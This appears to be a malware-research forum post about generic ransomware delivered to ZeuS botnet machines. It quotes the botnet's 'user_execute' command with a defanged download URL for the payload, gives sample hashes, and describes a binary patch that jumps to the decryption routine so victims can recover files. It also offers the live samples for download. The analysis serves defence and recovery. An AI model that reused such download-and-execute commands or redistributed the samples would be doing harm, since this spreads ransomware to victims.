Generic ransomware pushed to small ZeuS botnet machines by script: user_execute hxxp://ge.tt/api/1/files/4k8mPe82/0/blob?download >> (informations.exe) zeus script.png (835.88 KiB) Viewed 115 times ec2b6ecfc8ca67f9357b6550166a0838 informations.exe (UPX) 6ec6069728a91a04407283bc6bf208b7 UNPACKED Some generic ransomware junk..run in VM it asks for a password to decrypt files so I thought I would try to crack. winxp.png (590.39 KiB) Viewed 115 times I'm not a great RE like most ppl on here so I gave up and just patched the binary Change 00401C19 > JMP 0040124F (decryption routine) Attached are samples and patched binary in case anyone needs to unlock stuff... I was surprised, the malware does decrypt everything.. I did not look into the encryption routine or the password too much, but I'm sure someone around here can figure it out. Download Source